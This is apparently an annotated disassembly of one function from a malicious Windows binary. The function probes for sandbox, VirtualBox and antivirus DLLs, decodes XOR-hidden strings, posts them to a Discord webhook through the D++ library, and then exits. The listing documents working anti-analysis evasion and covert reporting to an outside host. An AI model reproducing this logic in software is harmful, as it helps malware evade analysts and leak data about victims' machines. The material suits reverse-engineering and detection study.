Function at 0x46a680
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4de0f2
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1c48
call fcn.004dbf10
mov eax, dword [0x509040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x80], str.DotNetTools.dll
lea esi, [ebp - 0x80]
mov dword [ebp - 0x7c], str.ExtendedNotifications.dll
mov dword [ebp - 0x78], str.ExtendedServices.dll
mov dword [ebp - 0x74], str.ExtendedTools.dll
mov dword [ebp - 0x70], str.vboxdisp.dll
mov dword [ebp - 0x6c], str.vboxhook.dll
mov dword [ebp - 0x68], str.vboxmrxnp.dll
mov dword [ebp - 0x64], str.vboxogl.dll
mov dword [ebp - 0x60], str.vboxoglcrutil.dll
mov dword [ebp - 0x5c], str.vboxoglpackspu.dll
mov dword [ebp - 0x58], str.vboxoglerrorspu.dll
mov dword [ebp - 0x54], str.vboxoglfeedbackspu.dll
mov dword [ebp - 0x50], str.vboxoglarrayspu.dll
mov dword [ebp - 0x4c], str.avghookx.dll
mov dword [ebp - 0x48], str.avghooka.dll
mov dword [ebp - 0x44], str.snxhk.dll
mov dword [ebp - 0x40], str.sbiedll.dll
mov dword [ebp - 0x3c], str.api_log.dll
mov dword [ebp - 0x38], str.dir_watch.dll
mov dword [ebp - 0x34], str.vmcheck.dll
mov dword [ebp - 0x30], str.wpespy.dll
mov dword [ebp - 0x2c], str.cmdvrt64.dll
mov dword [ebp - 0x28], str.cmdvrt32.dll
mov dword [ebp - 0x24], str.SbieDll.dll
mov dword [ebp - 0x20], str.SxIn.dll
mov dword [ebp - 0x1c], str.cuckoomon.dll
nop
mov edi, dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x15c4], eax
test eax, eax
jne 0x46a7bb
add esi, 4
lea eax, [ebp - 0x18]
cmp esi, eax
jne 0x46a780
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004870f9
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push edi
lea ecx, [ebp - 0xb0]
call fcn.0045bc30
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x15c0]
push 0x4ee7f6
mov dword [ebp - 0x1668], 0
mov dword [ebp - 0x1664], 0
call fcn.0045bc30
push 1
push 0xc
sub esp, 0xc
mov byte [ebp - 4], 1
movq xmm0, qword [ebp - 0x1668]
lea ecx, [ebp - 0x15a8]
mov eax, esp
push 1
push 1
push 0
movq qword [eax], xmm0
push 0
mov dword [eax + 8], 0
lea eax, [ebp - 0x15c0]
push 0x317efd
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int_]
lea ecx, [ebp - 0x15c0]
mov byte [ebp - 4], 3
call fcn.0045bb10
sub esp, 0x28
push esp
call dword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::log_t_const______cdecl_dpp::utility::cout_logger_void_]
add esp, 4
lea ecx, [ebp - 0x1378]
call fcn.00481f50
movaps xmm0, xmmword [0x5002c0]
xor ecx, ecx
movups xmmword [ebp - 0x16e8], xmm0
mov dword [ebp - 0x1678], 0x7044736c
movaps xmm0, xmmword [0x5002e0]
movups xmmword [ebp - 0x16d8], xmm0
mov dword [ebp - 0x1674], 0x547a471a
movaps xmm0, xmmword [0x4ff6e0]
movups xmmword [ebp - 0x16c8], xmm0
mov word [ebp - 0x1670], 0x7312
movaps xmm0, xmmword [0x500f40]
movups xmmword [ebp - 0x16b8], xmm0
mov byte [ebp - 0x166e], 0
movaps xmm0, xmmword [str.QVjHpK]
movups xmmword [ebp - 0x16a8], xmm0
movaps xmm0, xmmword [0x4ff470]
movups xmmword [ebp - 0x1698], xmm0
movaps xmm0, xmmword [0x500c60]
movups xmmword [ebp - 0x1688], xmm0
mov al, byte [ebp - 0x16e8]
xor byte [ebp + ecx - 0x16e7], al
inc ecx
cmp ecx, 0x79
jb 0x46a8e1
lea eax, [ebp - 0x16e7]
mov byte [ebp - 0x166e], 0
push eax
lea ecx, [ebp - 0x1700]
call fcn.0045bc30
lea eax, [ebp - 0x1700]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x138]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::webhook::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x1700]
mov byte [ebp - 4], 6
call fcn.0045bb10
push 0x4ee7f6
lea ecx, [ebp - 0x98]
call fcn.0045bc30
mov byte [ebp - 4], 7
xorps xmm0, xmm0
movlpd qword [ebp - 0x1668], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x4ffec0]
movups xmmword [ebp - 0x15bc], xmm0
mov byte [ebp - 0x15ac], 0
nop dword [eax]
mov al, byte [ebp - 0x15bc]
xor byte [ebp + ecx - 0x15bb], al
inc ecx
cmp ecx, 0xf
jb 0x46a970
movaps xmm0, xmmword [0x500470]
xor ecx, ecx
movups xmmword [ebp - 0x1628], xmm0
mov byte [ebp - 0x15ac], 0
movaps xmm0, xmmword [0x500350]
movups xmmword [ebp - 0x1618], xmm0
mov dword [ebp - 0x1608], 0x565c4244
mov dword [ebp - 0x1604], 0x19043956
mov dword [ebp - 0x1600], 0x56565c46
mov byte [ebp - 0x15fc], 0
nop dword [eax]
mov al, byte [ebp - 0x1628]
xor byte [ebp + ecx - 0x1627], al
inc ecx
cmp ecx, 0x2b
jb 0x46a9d0
movaps xmm0, xmmword [0x4ffdf0]
xor ecx, ecx
movups xmmword [ebp - 0x15f8], xmm0
mov byte [ebp - 0x15fc], 0
movaps xmm0, xmmword [0x4ffe70]
movups xmmword [ebp - 0x15e8], xmm0
mov dword [ebp - 0x15d8], 0x23293731
mov dword [ebp - 0x15d4], 0x45454d23
mov dword [ebp - 0x15d0], 0x232333
mov byte [ebp - 0x15cc], 0
nop dword [eax]
mov al, byte [ebp - 0x15f8]
xor byte [ebp + ecx - 0x15f7], al
inc ecx
cmp ecx, 0x2b
jb 0x46aa30
lea ecx, [ebp - 0x17a8]
mov byte [ebp - 0x15cc], 0
call fcn.00460ba0
mov edx, eax
mov byte [ebp - 4], 8
xor ecx, ecx
movaps xmm0, xmmword [0x4ffb30]
movups xmmword [ebp - 0x1654], xmm0
mov dword [ebp - 0x1634], 0x35353f21
movaps xmm0, xmmword [0x4ffab0]
movups xmmword [ebp - 0x1644], xmm0
mov dword [ebp - 0x1630], 0x255c5e52
mov dword [ebp - 0x162c], 0x163535
nop word [eax + eax]
mov al, byte [ebp - 0x1654]
xor byte [ebp + ecx - 0x1653], al
inc ecx
cmp ecx, 0x2a
jb 0x46aaa0
push edx
lea edx, [ebp - 0x1653]
mov byte [ebp - 0x1629], 0
lea ecx, [ebp - 0x1790]
call fcn.0045bf50
add esp, 4
lea ecx, [ebp - 0x15f7]
mov byte [ebp - 4], 9
push ecx
mov edx, eax
lea ecx, [ebp - 0x1778]
call fcn.0045c0b0
add esp, 4
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 0xa
push ecx
mov edx, eax
lea ecx, [ebp - 0x1760]
call fcn.0045c190
add esp, 4
lea ecx, [ebp - 0x1627]
mov byte [ebp - 4], 0xb
push ecx
mov edx, eax
lea ecx, [ebp - 0x1748]
call fcn.0045c0b0
add esp, 4
push 0x587afc
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x1730]
call fcn.0045c190
add esp, 4
lea ecx, [ebp - 0x15bb]
mov byte [ebp - 4], 0xd
push ecx
mov edx, eax
lea ecx, [ebp - 0x1718]
call fcn.0045c0b0
add esp, 4
push 0
push eax
lea ecx, [ebp - 0x1c58]
mov byte [ebp - 4], 0xe
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___enum_dpp::message_type_]
mov esi, eax
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 0xf
push eax
sub esp, 8
lea eax, [ebp - 0x1668]
mov ecx, esp
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::snowflake::constructor_unsigned_long_long_unsigned___int64__const__]
push 0
push esi
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x1a00]
push eax
lea ecx, [ebp - 0x15a8]
call dword [sym.imp.dpp.dll_public:_struct_dpp::message___thiscall_dpp::cluster::execute_webhook_sync_class_dpp::webhook_const___struct_dpp::message_const___bool__class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov esi, dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x1a00]
call esi
lea ecx, [ebp - 0x1c58]
call esi
lea ecx, [ebp - 0x1718]
call fcn.0045bb10
lea ecx, [ebp - 0x1730]
call fcn.0045bb10
lea ecx, [ebp - 0x1748]
call fcn.0045bb10
lea ecx, [ebp - 0x1760]
call fcn.0045bb10
lea ecx, [ebp - 0x1778]
call fcn.0045bb10
lea ecx, [ebp - 0x1790]
call fcn.0045bb10
lea ecx, [ebp - 0x17a8]
call fcn.0045bb10
lea ecx, [ebp - 0x98]
mov byte [ebp - 4], 6
call fcn.0045bb10
push dword [ebp - 0x15c4]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp byte [0x588853], 0
je 0x46acab
movaps xmm0, xmmword [0x500550]
xor ecx, ecx
movups xmmword [ebp - 0x15bc], xmm0
mov word [ebp - 0x15ac], 2
nop word [eax + eax]
mov al, byte [ebp - 0x15bc]
xor byte [ebp + ecx - 0x15bb], al
inc ecx
cmp ecx, 0x10
jb 0x46ac50
lea eax, [ebp - 0xb0]
mov byte [ebp - 0x15ab], 0
push eax
lea edx, [ebp - 0x15bb]
lea ecx, [ebp - 0x98]
call fcn.0045c050
add esp, 4
lea ecx, [ebp - 0x98]
push 0
push 0x4fb020
call fcn.0045b990
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x98]
call fcn.0045bb10
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3